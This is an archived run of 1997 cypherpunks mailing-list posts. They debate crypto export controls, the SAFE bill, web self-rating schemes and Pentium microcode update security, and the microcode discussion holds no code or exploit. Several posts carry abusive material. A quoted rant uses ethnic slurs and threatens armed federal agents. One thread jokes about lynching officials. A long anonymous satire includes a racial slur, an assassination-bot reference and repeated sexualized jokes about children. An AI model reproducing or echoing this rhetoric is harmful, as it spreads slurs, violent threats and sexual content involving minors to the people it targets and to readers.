From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Yaffe <straightedge.dave@sk.sympatico.ca>
Date: Sat, 26 Jul 1997 16:34:54 +0800
To: cypherpunks@Algebra.COM
Subject: Re:I have had ENOUGH of this government bullshit!!
Message-ID: <3.0.2.32.19970726022739.007ad9f0@mailhost.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I'm Canadian, and I am really scared by what is going on in the States. If 
the US gooberment
succeeds in banning/controlling crypto, how long will it be before it 
happens here. Does anyone
know if the Canadi-humm gooberment is trying to do ban/control crypto?

And to the person who wrote this I have one word: A-F*CKIN-Men!

>Screw this. I have finally blown my stack over this bullshit governmental
>crap. From this oint forward, I fully and completely make available, IN THE
>U.S, the International version of PGP 2.63.ix.
>If there are any cops, Feds, Spies, wops, spics, gigaboos, alternate
>lifestyles, punks, crackers, crackheads, whatever other name calling terms,
>I left out,    want to stop me --- TRY!!!! This is bullshit people! We have
>the inalieable right to full and total screcy, privacy, and personal
>protection of whatever  * W E *  determine to be private information. The
>government has gotten out of hand with this shit. If you are a member of the
>F.B.I, C.I.A, S.S, N.S.A, X.Y.Z community and you don't like this action,
>show up at my doorstep guns drawn. Cause you show up at MY door step, you'll
>need them! That I promise!

David.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM9m01DoM1b3tdf0JAQGbTwP+O3SE9MjWYBGsSjhlk+9PhbNrKsstHgVH
zG8kTfcAyAku5OEQt3bNGCbStsxiAGkYjhqT2G5i+cvdjSODMive5V2tquSjacz2
yn5GrEfGq4fUJbr1FuFN6xO+2xHSvjEVmMa5bHz8XOjDTP3NvGQUnhbcQC+YoLPi
sa05zvnWd7Q=
=axM8
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 26 Jul 1997 15:51:56 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: CDT, RSACi, and "public service" groups (1/3)
In-Reply-To: <3.0.2.32.19970725222141.0072e90c@netcom10.netcom.com>
Message-ID: <199707260741.CAA30983@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970725222141.0072e90c@netcom10.netcom.com>, on 07/25/97 
   at 10:21 PM, Lucky Green <shamrock@netcom.com> said:

>Sounds to me like the established media is supporting a system designed
>to hamper their competion.

That's how most guilds work with one hand they claim to be improving their
craft while with the other they stifle all competition.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM9mcpY9Co1n+aLhhAQF57wQApF+uk6O/HL/lTO0Sk/UZg2wwtP0MX1/s
Q008/y4r723wvN67wrTY5enJovX84XZ3D1Zu55fgJYxJzVtvRXWJxnEQ9+T7b3Z9
AopcuRHb5xFSBfq6jKJYphjKWPQ8LRQ46nfQDfQIUHXyMzwir7gc1uE6seelnsp3
WP9lTtXSm/s=
=g184
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 26 Jul 1997 09:40:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: An Attempt to Hobble SAFE Crypto Bill
In-Reply-To: <Pine.GSO.3.95.970725111252.22013N-100000@well.com>
Message-ID: <199707260132.DAA14540@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter D. Junger wrote:

> It actually does a very nice job of raising the first amendment issues
> that are ultimately going to kill export controls...

Yeah, eventually.  Judge Nugent sure is taking his time with it...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 26 Jul 1997 11:42:38 +0800
To: cypherpunks@toad.com
Subject: Pentium Microcode Encryption (was Re: Another vulnerability)
Message-ID: <199707260330.FAA28597@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> BIOS Update is a hidden feature that can fix bugs in Pentium Pro and
> Pentium II CPUs by patching the microcode inside the microprocessor.
> When the processor boots up, the BIOS loads the patches, which are
> contained in a 2,048-byte-long BIOS Update data block that is supplied
> by Intel.
> "The problem is, the BIOS cannot verify whether the BIOS Update data
> block contains real microcode or not," claimed one BIOS expert, who
> requested anonymity. "As long as the header and the checksum are okay,
> the BIOS will load that microcode into the microprocessor. Some hacker
> could actually wipe out microcode in the CPU. There is nothing that can
> prevent this."

The processor doesn't actually burn in the patch to on on-board EPROM,
does it?  (If it did, then the BIOS wouldn't need to load it on boot-up.)
So you can't actually wipe out microcode in the CPU.

> Intel doesn't see such a scenario as a realistic threat, pointing to
> the fact that the BIOS Update data block is encrypted. "We've spent
> quite a lot of time thinking about such scenarios to make sure we had
> sufficient mechanisms in place so you couldn't introduce your own
> flavor of BIOS Update into the processor," said Ajay Malhortra, a
> technical marketing manager based here at Intel's microprocessor
> group. "Not only is the data block containing the microcode patch
> encrypted, but once the processor examines the header of the BIOS
> update, there are two levels of encryption in the processor that must
> occur before it will successfully load the update."

I can't imagine them wasting precious die space to implement a multiple
round, fully cryptanalysis-proof encryption scheme, especially
considering that the microcode-update curcuitry takes up quite a bit of
space already.  It seems more likely that they would use a combination
of a few logic gates and some permutations, which wouldn't take up much
space.  (Unless, of course, they implemented the microcode-updater as
microcode software itself, which would be a really stupid thing to do -
How could the program run while overwriting itself?)

Furthermore, they mentioned "there are two levels of encryption in the
processor"  That is really bad design from a cryptanalysis point of view.
Once the outer layer has been stripped off and you find a valid header,
you can then attack the next layer by itself.  (assume a valid header
decryption could be determined by it having a low entropy in the
data-compression sense.)

That leaves the checksum question.  CRC is widely used, so they probably
had a crc design on file and could have just stuck it in.  But there is
no other use for crc calculation in the cpu, and an arithmetic checksum,
or ever XOR would be simpler.  Hmm...  (Of course you could always try to
do it like Matt Blaze did with clipper. :)

> "Yes, it is used," said an engineer at one vendor. "I personally know
> of five different things in the Pentium Pro related to multiprocessing,
> system management interrupt and other areas."

That sounds like it could be very useful.  A context-switch on a pentium
takes over a hundred clock cycles while the processor dumps all its
registers.  The problem is that on a modern 32-bit OS many of those
registers, such as the 16-bit segment registers, are not used.  If you
could change the microcode so that it would temporarily ignore those
registers it would give you faster task-switching and better performance.
I think a lot of Linux users would be interested in something like that.

Anyone know where I could find some of these 2048-byte update blocks?
It might be interesting to run some statistical analysis on it... :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sat, 26 Jul 1997 19:31:47 +0800
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: An Attempt to Hobble SAFE Crypto Bill
Message-ID: <199707261124.HAA04129@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain




The more I look at this draft, the more gaping holes I see.

I do not think that it was ever intended to be enacted, but was rather
drafted simply to give cover to those who voted for the first
amendment, since they could then vote against this one.

Notice that it says that you will find the definitions in the Export
Administration Act, which I am sure, though I have not looked it up,
does not contain a definition of ``real time'', which seems to be the
key term in the draft.

But now that the first amendment lost, I suppose this could have been
leaked so that some other committee will vote for a compromise.

As I reread the proceeding sentence, I realize that I should have said
``proposed first amendment to the SAFE bill''.  We wouldn't want to
get it mixed up with the First Amendment, now would we?

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sat, 26 Jul 1997 23:46:12 +0800
To: snow <snow@smoke.suba.com>
Subject: Re: "The Failure to Do Your Job" amendment (was Re: White House ...)
In-Reply-To: <199707162038.PAA26641@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970726082517.00a1f100@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:59 PM 7/24/97 -0500, snow wrote:
>
>On Wed, 16 Jul 1997, William H. Geiger III wrote:
>> Any elected official or govenment employee found to have willfuly violated
>> the Constitution of the United States of America should be draged to the
>> capitol steps and promptly lynched.
>
>	Then you'd have to lynch those that did the dragging and lynching 
>as each induhvidual has the constitutional right to a trial.

"First the lynching, then the trial."


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 26 Jul 1997 15:21:07 +0800
To: cypherpunks@toad.com
Subject: OKC Bomber, or Cowardly Lion? / Re: IRS sending warning notes, violating ECPA?
Message-ID: <199707260706.JAA19264@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:
> > Anon pissed out:
> > >  I am just as certain that Tim has made a conscious decision as to
> > >what level of risk he is willing to take to speak his mind and perhaps
> > >make a difference in the events of his time, without merely being
> > >egoistical, stupid, and suicidal.

> As anon clearly points out, Tim toes the line with his speech,
> carefully avoiding saying anything that escapes constitutional
> protection.
...
> Yes, Tim talks a brave talk.  But...

  But...?
  ...he doesn't cut his dick off with an axe, to show how brave
he is?
  ...he doesn't phone up the DEA and tell them, "I'm shooting
heroin, but please don't raid my house?"
  ...he doesn't take out an ad in the New York Times to announce
that he will be nuking D.C. at 4 p.m. on Friday?

  I once built a bar in Austin, Texas, named "Crazy Bob's Saloon."
I put a diving board on top of the 1 1/2 story building and put an
old bathtub on the sidewalk below, which I filled with water.
  All week long we advertised that at noon, on Grand Opening Day,
Crazy Bob was going to jump off the diving board, and into the
bathtub full of water. During our Grand Opening, 12 noon rolled
around and Crazy Bob walked outside, with everyone following him.
  Crazy Bob looked up at the diving board, then looked down at the
bathtub full of water. He looked back up at the diving board, once
again, and back down at the bathtub full of water. Then he turned
to the crowd, and said, "Folks, they call me _Crazy_ Bob, not
_Stupid_ Bob!" Then we all went back inside and partied down.

  At the end of the night, when everybody had gone home, Crazy Bob
and I took a bottle of whiskey up to the rooftop, had some drinks
and discussed the fact that, as a man of honour, he was obligated
to make the dive, despite the fact that the "sheeple" were more
than satisfied by having an entertaining story to go home and tell
their friends.
  Did he make the dive?
  It's nobody's business but his own. I was there, and at the right
time, in the right place, with the right amount of liquor in me and
a full moon egging me on, I just might tell you. But, regardless, it
would still really be nobody's business except for Crazy Bob's.

  Perhaps Tim May is the _real_ OKC bomber, or perhaps he is the
cowardly lion. (cringing when "Toto" barks :>)
  Whether Tim "walks his talk" or not is not my business, nor is it
Kent's, or anyone else's business. One's public words may reflect
their personal anthem, their own flag/values/beliefs, or their words
may be merely the braying of mules. What matters is the value, or lack
thereof, that we may personally glean from those words, to our own
edification or detriment.
  However, the "rack" is not a "bicycle built for two." When we are
put on the rack, to test the strength of our beliefs, then the pain,
the certainty or doubt, the salvation or degredation, are all our own.

  I enjoy the outrageously strong opinions which do battle on the
CypherPunks list, and I even have a mail folder titled, "CyberPissing,"
in which I save the posts which contain classic cheap-shots.
  I respect those who stand up for what they believe in and are not
hesitant about attacking the faults they find in the logic or beliefs
of others on the list. I consider it a "public service" when others
take a shot that points out my errors/hypocrisy/stupidity, etc. It
gives me the opportunity to say, "They are right. I should adjust my
belief/attitude.", or say, "They are right, but so the fuck what? It
is my personal predeliction to be an asshole about this, and it suits
me just fine."
  It is my personal view, however, that the line between difference of
outlook/opinion and spurious, personal slander is crossed when one
stoops to denigrate the character of another list member by accusing
them of what might be "conscious evils" such as comfortable cowardice,
willful hypocrisy, or determined stupidity.

  Perhaps I will break down on the "rack" and deny all of my strongly
held beliefs, but please don't accuse me of being a boastful coward
who only holds to my beliefs when it is "safe" to do so.
  I may hold views which fail to remain consistent when measured
against standards that reflect the knowledge and experience of others,
but please don't accuse me of willfully attempting to espouse my views
only to my benefit and at the expense of others.
  Sometimes I'm a fucking idiot and probably ought to be taken out
and shot, but I strive to come by my stupidity "honestly," and not to
use stupidity as an "excuse" to do evil.
 
  Tim May is a grouchy old CypherPunk with an itchy trigger finger and
Kent Crispin has suffered the misfortune of having the the government
secretly implant silicon chips in his brain that flash random images
of current and past senators, congressmen and presidents repeating,
"I am not a crook...I am not a crook..."
  I am certain that each of them is equally certain of their beliefs,
and the decision as to which of them would make the world a better
place by using the Dr. Kevorkian Gift Certificate I sent them for
Christmas lies in the hands of the individuals who support or
oppose their stance on various issues.

  My personal opinon is that we should "Kill them both, and let
TruthMonger sort them out."
  Of course, I may be biased in this regard. After all, I am...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 27 Jul 1997 02:42:59 +0800
To: James Love <whgiii@amaranth.com>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: <v03102808afffef9096b1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:05 AM -0700 7/26/97, James Love wrote:
>William H. Geiger III wrote:
>> What is your proposal for those who would "mislable" their sites?
>
>    People who "mislabel"?   I am only proposing a tag for rating=adult.
>I guess someone could put a rating=adult tag on a page that didn't need
>it, but who would care?  Not me.
>
>   Suppose on the other hand that someone had a page that people thought
>should have a rating=adult tag.  Well, the person who didn't use the tag
>would just have to deal with whatever crap you would get for not
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
You mean like imprisonment and fines?

It is this "crap" and "consequences" we are talking about.

There is no requirement that one's writings be labelled as "adult."
Leastwise, I've read a lot of stuff in my life, and very rarely (if ever)
have I seen much of it labelled as "adult" material.


>labeling.  If you thought your site had some constitutional right not to
>label the content adult, then just don't label it.  I really don't think
>this will be that big an issue, but I don't know (no one knows).  I
>think that a significant percent of porn sites would use the
>rating=adult label in a second if they thought it would get people off
>their back.  Those that didn't use the label could just put up with the
>consequences, whatever they are.  I would expect (and hope) that the
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Such as the multiple years in prison that each of the Thomases got?

>rating=adult label would be used infrequently, mostly for sites
>involving explicit sexual images.  I don't think a rating=adult label
>would be much of a barrier to teenagers who wanted access to this type
>of material, since one could download a browsers in a few minutes that
>wouldn't block the data.  But like a childproof top on aspirin, it would
>work pretty well with pre-teens, I imagine.

The utter ineffectuality of an "adult" label stopping the behavior which
the politicians want stopped is exactly why such a lukewarm proposal as
yours--no offense intended--is a poor idea. The next step will be a
mandatory rating, with penalties for "mislabelling."

(Again, just what is "mislabelling"? If I feel all children should be
exposed to sexual materials, or "Huckleberry Finn," whose standards am I
supposed to use if not my own?)



>      Are you calling me a lazy parent?  What is the obligation of a
>parent?  To supervise a kids web browsing?  Please, I think kids are
>better off with more privacy, and less parental (and teacher)
>supervision when they browse the web.

Fine. But it is constitutional to require others to label their writings or
utterances in any way.

This means that parents cannot count on any labelling system to protect
their children from finding sexual material, atheistic material, drug
advocacy material, bestiality advocacy material, and recruitments for
homosexuality.

(For the sake of this argument I'm avoiding inclusion of actual images of
things like bestiality and the like, as these may or may not run afoul of
the "obscenity" laws. Not that I support obscenity laws. But all of the
other things are mostly protected under the First Amendment, and labelling
is not required.)

As long as ratings are completely and full uncoerced, fine. It's the "crap"
and "consequences" you speak of that worry me. If one of the pieces of crap
is  a $100K civil fine for mislabelling, or one of the consequences is 5
years in jail, then it ain't a voluntary system, is it?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 27 Jul 1997 00:21:17 +0800
To: cypherpunks@toad.com
Subject: HIR_hear  Crypto Hearing Transcript
Message-ID: <1.5.4.32.19970726160006.006fc980@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to Declan we've digitized the declassified 64-page 
transcript of the House International Relations Committee closed
hearing on the SAFE bill, dated July 21, 1997, at which
FBI's Freeh, NSA's Crowell and BXA's Reinsch made statements 
on crypto policy, described the administration's dreams for 
worldwide GAK and noddled about how to shame unpatriotic 
industries -- Microsoft is cited as a prime disobedient, while 
Netscape, Reinsch smarms, has joined up. 

This is Rep. Gilman's committee, and the discussion aptly 
outlines the grounds for his "first amendment" to SAFE recently
posted here.
Our Web site is kaput this morning so for now we can only 
offer the 99K file by e-mail, HTML formatted.

If you want a copy send us e-mail with the subject: HIR_hear

We'll include a parallel 18 July letter to Members of Congress
on the same topic from AG Reno and seven top federal law 
enforcers, also provided by Well-connected Declan.

If your mail can't handle a 99K file, someday, maybe this weekend,
the two docs will be on our site at, respectively:

   http://jya.com/hir-hear.htm

   http://jya.com/crypto-law8.htm

Coda: Gilman represents, if you didn't know, my rathole
of the U.S. financial market. The transcript shows that he loved 
the G-men, wink-winked at them throughout the hearing, eyeing 
the propects for helpful legislation.

Reinsch brags that BXA and the banks are preparing an onslaught 
on the undisciplined world market, working with world leaders, as 
ever, caching real-time gold for select wise marketers, bribing with 
gov-biz deals across the political spectrum. Sez all the industry holdouts 
on GAK will come around when they see the Big Corps caving. 
Reinsch asserted that Microsoft is power behind Goodlatte's bill. 
Goodlatte didn't deny, just said MS is one of a horde. Hmm. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 26 Jul 1997 20:17:19 +0800
To: cypherpunks@toad.com
Subject: New Ratings Categories / Re: Yet another self-labeling system (do you remember -L18?)
Message-ID: <199707261158.NAA19507@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:

> What is your proposal for those who would "mislable" their sites? I am
> sure that you are not under the assumption that everyone will have the
> same ideals of what is appropriate for children and what is not.
> 
> How do you handle the web site for alt.sex.sheep.bah.bah.bah if the owner
> decides to self rate it Y-7?

  An anonymous source has confirmed that the operator of an
Assassination
Bot has struck a deal with government officials to drop them from the
betting list in return for their support for the following self-rating
categories being approved:
"Suitable for children who masturbate excessively."
"Suitable for children who are fucking their siblings."
"Suitable for children who would like to make a quick twenty bucks."
"Suitable for children who are considering murdering their parents."
"Suitable for children whose Uncle Jim can make ice-cream come out
 of his pee-pee."
"Suitable for children who pull the legs off of grasshoppers and set
 the family cat on fire."
"Suitable for children who are being tried as adults because their
 case got enough press to result in votes for a judge who shows that
 he is 'tough on crime.'"
"Suitable for children whose parents or guardians are beating them
 more severely than in the fantasy scenes portrayed on this web site."
"Suitable for children whose parents, teachers and priests tell them
 they are sinful, evil creatures whom God will burn in Hell-Fire for
 questioning and/or resisting Authority."
"Suitable for children who will never amount to anything, anyway,
 because they have the wrong skin color, are being raised in poverty,
 and will probably be shot to death by policemen who will be fined
 two day's pay for not following proper police procedure."
"Suitable for children who plan to kill themselves because nobody loves
 them enough to make life seem worth living."
"Suitable for children who are selling crack to children even younger
 than themself."
"Suitable for children who carry a gun to school so that they have a
 chance of getting home alive."
"Suitable for children who, in the future, will be the victim of sexual
 harassment by the President."
"Suitable for children who will eventually suffer major health problems
 as a result of serving their country, and will be denied health
benefits."

"Suitable for children who need to experience as much as they can, right
here and now, because in the future they will have no rights or freedom,
but will have their lives tightly monitored and controlled by the
state."

 > Self-rating and/or browsers that can read these self-ratings will be
of
> little good except as a stepping stone to maditory rating system because
> they are unable to solve the percieved problem of children accessing
> website that their parents do not want them to see.

  The government is grandstanding their ploy to promote an increasing
level of censorship (and eventually "criminalize" non-compliance with
what they now portray as "voluntary" ratings) *DESPITE* the fact that
there are already tools available to meet the needs the government
claims to be addressing.
  If city kids drive their cars out into the country to watch the
farmer's wife undressing through the bedroom window, will the government
pass laws criminalizing country residents building houses which
have windows? God forbid that the Founding Fathers might have their
words twisted by villainous Cypherpunks to suggest that they would
expect parents to take responsibility for their children's upbringing
and activities.
  I'm getting sick and fucking tired of the government restricting
and/or violating my rights, liberty, freedom and pursuit of happiness
in order to enable the sheeple to have the illusion of righteousness
and security despite their laziness/unwillingness/stupidity which
is used as a rationale to pretend that products and tools which are
easily within their reach are not sufficient to meet their needs.

  What, exactly, is the problem?
  Are these censorous motherfuckers of the opinion that protecting
their children from these loudly proclaimed moral threats is not
worth spending thirty or forty bucks on?
  Are they saying that your and my rights and freedoms are worth
less than the thirty or forty bucks it would take for them to
purchase censoring software?
  
> Even if you could convince "Enough-is-Enough" and the rest of Donna "2 bit
> hore" Rice's cronnies that voluntary ratings was worth a try they would be
> shortly back to DC pushing for manditory legislation because they wouldn't
> like the way people were self rating their web pages.

  Bottom Line: If you or I personally developed, and distributed freely,
a product which would guarantee that no child would ever be exposed to
any material that their parents did not approve of, these stinking,
lying,
conniving bastards would still be pressing for censorous legislation 
because they feel that it is their right to force their narrow, fascist,
moralistic standards on everybody.

  A Challenge To Declan: Do you have the balls to contact all of those
individuals pushing for fascist censorship in the name of "protecting
children" and ask them if they would support the rights of adults to
promote and access adult material on the InterNet if a way can be found
to guarantee that minors will not be able to access it?
  Do you have the balls to refuse letting them dodge the issue with
meaningless, bullshit, political rhetoric? Do you have the balls to
tell them that if you don't get a straight answer,  you will report 
that they are lying, fascist, censorist motherfuckers who are hiding
behind children to disguise their hidden agenda of forcing their 
personal beliefs on others?

> You have two major groups pushing for rating systems:
> 1) Lazy parents that do not wish to be bothered with the obligations of
> raising their children.
> 2) "Born again" censors like Rice want the power to control what people
> can and can not say.
> 
> The problem is that no rating system can satisfy these groups. Just as
> voluntary rating will be used as a stepping stone to manditory rating,
> manditory rating will be used by these same two groups for the outright
> baning of certian forms of speech (their true agenda).

  Oops! I seem to be redundating the "other" Billy G's points and
comments.
Could it possibly be that the true/hidden agenda and fascist, slimeball
tactics of the CR's (Censorous Ratfuckers) are so blatantly obvious that 
anyone on the list could have easily written this post, as well as the 
"other" Billy G's post?
  Could it possibly be that this is an "open secret" that the sheeple 
are pretending they do not know because they have been brainwashed into
accepting the guilt/blame placed on them by the self-proclaimed
"righteous" who feel that they are superior to those with different
values and beliefs, and thus are entitled to force others, at gunpoint,
to live according to their own narrow constraints of acceptable beliefs
and behavior?
  Could it possibly be that I am not, in fact, the brilliant genius that
I conceive myself to be, in seeing through the fascist righteousness
which the Censorous Ratfuckers use as a tool to justify forcing their
values and beliefs on others? Is it possible that even the sheeple 
understand the injustice that is being forced upon them at gunpoint,
but have the wit and wisdom to complacently comply, in order to survive
long enough to live lives of quiet desperation?
  Could it possibly be that Jesus and Jim Bell are not isolated examples
of society and government breaking down, but are actually examples of
the way the "real world" works?

  Perhaps I need to spend $200,000.00 getting elected to a $20,000.00
a year position on the Water Board in Austin, Texas, and become a
millionaire within a year's time.
  Perhaps I need to become a TV preacher and make millions by putting
pictures of starving children on TV, in order to be able to pay for
the hookers and cheap motel rooms that go with the territory.
  Perhaps I need to run for Congress so that I can pay myself around 
$300,000.00 for *not* growing cotton, guarantee that my neighbor's
tax money will pay me an inflated price for my milk and cheese, and
put shoes on my kids by making my home state a dumping ground for 
nuclear waste.
  Perhaps I should run for President, become the leader of our country,
and lie about...well...about *everything*, I guess. 

  Could it possibly be that I am helping to destroy America by failing
to support forced compliance with "Family Values?"
  Should my bid for the Presidency be centered around a theme of a 
"return" to God-fearing decency and Christian values?
"We need to fight drug dealers and child pornographers by returning to
the values that made this nation great!"
"We need to require the terminally ill to die a horribly painful death
without benefit of a medicinal herb that would relieve their suffering,
in order to fight drug dealers and child pornography."
"We need to send our armed citizens to other countries to kill their
citizens, in order to fight drug dealers and child pornography."
"We need for women who wear short skirts to take responsibility for 
their being raped in order to fight drug dealers and child pornography."
"We need to make niggers sit in the back of the bus, in order to fight
drug dealers and child pornography."
"We need to send Jews to the gas chamber, in order to fight drug dealers
and child pornography..."
{Oops! Wrong country.}

Question: "What rating will be acceptable for a web site that contains 
           only pictures of 'people of color' sitting at the back of
           a bus, and 'color challenged' people sitting in the front?"
Question: "Who is going to explain to the child of the naturists who
           place on their web site their pictures of themself enjoying
           a glorious day at the nude beach, that their bodies are vile,
           filthy, disgusting things which require their web site to
           contain an 'obscenity' rating?"
Question: "Who is going to explain to women that they have to quit their
           jobs, become unpaid housewife/laborers, quit voting, and do
           all of the housework, in order to fight drug dealers and
child
           pornographers?"
Question: "What rating will be required of a web site which contains a
           picture of a loving parent bathing their beautiful (NAKED!!!)
           newborn child?"
           {To get a "Suitable For Children" rating, will the parents
have
            to fill out a form that certifies that they did not get
sexually
            aroused while bathing their newborn? If a cop or judge
visits
            the site and gets aroused, are the parents guilty of a
crime?}

  Bottom Line #2: Squeaky Fromme will be imprisoned for putting naked 
                  pictures of herself, as a child, on her web site.
                  John Hinkley will be hospitalized for the same
offense.
                  Kennedy family members 'A', 'B' and 'C' will not be
                  prosecuted for the same offense, but Squeaky Fromme
will
                  have to serve an extra 2 years in prison for revealing
                  that the nude Kennedy pictures made her horny.

Special Offer: "Purchase and use Pretty Good Pornography software, and
                you will receive the phone number of a person who will
                buy your drugs, as well as a picture of my dick in a 
                child's mouth."
                (Offer not valid in states where children are being
buggered
                 by the Police Chief, the Mayor, the President, Hillary,
                 Socks, and a buggerer to be named later.) 

News Flash!!!: Early this morning Vatican military forces invaded the
               United States and arrested President Clinton for his
               involvement in the birth-control drug trade.
               Saddam Hussein ordered an air strike against the D.C.
               Whitehouse in retaliation for U.S. support of terrorist
               fashion designers who produce clothing which exposes
               women's ankles. The President escaped unharmed, but his
               daughter was justifiably slaughtered.
               U.S. Attorney-General Larry Flynt appointed a special
               prosecutor to investigate reports that Janet Reno sent
               out Christmas Cards containing a picture of herself in
               which she was fully clothed, with neither her breasts
               or her vagina showing. "Studies have shown," Flynt told
               reporters, "that pictures of clothed women frustrate
               unimaginative males, leading to an increase in rape as
               a result of cockteasers like Janet Reno."
               The "Drug Dealers and Child Pornographers" regulatory
               commitee, a special agency appointed by the President to
               fight against the threat that Family Values pose to
               the sex industry, approved the use of video surveillance
               in private homes in a crackdown on parents who refuse
               to get their children high and bugger them with a variety
               of foreign objects.
               "The Tin Bible," an award winning movie by producer Tim
May,
               was removed from libraries and store shelves in Oklahoma
               today. The offending scene involved a male "pulling out"
               while fucking a blood relative, and "wasting a perfectly
               good piece of pussy," according to the National Council
               For The Promotion Of Indecency.

  "If you're not part of the precipitate, you're part of the solution."
            - James D. Bell

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Sun, 27 Jul 1997 02:19:41 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: <33DA3C51.89290B12@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:
> What is your proposal for those who would "mislable" their sites? 

    People who "mislabel"?   I am only proposing a tag for rating=adult.
I guess someone could put a rating=adult tag on a page that didn't need
it, but who would care?  Not me.  

   Suppose on the other hand that someone had a page that people thought
should have a rating=adult tag.  Well, the person who didn't use the tag
would just have to deal with whatever crap you would get for not
labeling.  If you thought your site had some constitutional right not to
label the content adult, then just don't label it.  I really don't think
this will be that big an issue, but I don't know (no one knows).  I
think that a significant percent of porn sites would use the
rating=adult label in a second if they thought it would get people off
their back.  Those that didn't use the label could just put up with the
consequences, whatever they are.  I would expect (and hope) that the
rating=adult label would be used infrequently, mostly for sites
involving explicit sexual images.  I don't think a rating=adult label
would be much of a barrier to teenagers who wanted access to this type
of material, since one could download a browsers in a few minutes that
wouldn't block the data.  But like a childproof top on aspirin, it would
work pretty well with pre-teens, I imagine.


>I am
> sure that you are not under the assumption that everyone will have the
> same ideals of what is appropriate for children and what is not.
> 
> How do you handle the web site for alt.sex.sheep.bah.bah.bah if the owner
> decides to self rate it Y-7?

    Well, I for one don't like a Y=7 type system.  It involves too much
information from the person rating the wage page.  The more precision
you put in a rating system, the more trouble you get in.  Keep it
simple, very simple.  What if someone was a sex with sheep web site,
unlabeled?  I don't care much.  I wouldn't be surprised, however, if
Yahoo didn't give them the prominent listing they wanted, in the absence
of the rating=adult label.  


> 
> Self-rating and/or browsers that can read these self-ratings will be of
> little good except as a stepping stone to maditory rating system because
> they are unable to solve the precieved problem of children accessing
> website that their parents do not want them to see.
> 
> Even if you could convince "Enough-is-Enough" and the rest of Donna "2 bit
> hore" Rice's cronnies that voluntary ratings was worth a try they would be
> shortly back to DC pushing for manditory legislation because they wouldn't
> like the way people were self rating their web pages.



    Maybe.  Maybe not.  Maybe it would "solve" the problem, without
legislation.   I think it would be nice if the problem was solved
without legislation. But if the problem (and I think there is a problem)
isn't solved voluntarily, don't be shocked when Congress acts.  


 
> You have two major groups pushing for rating systems:
> 
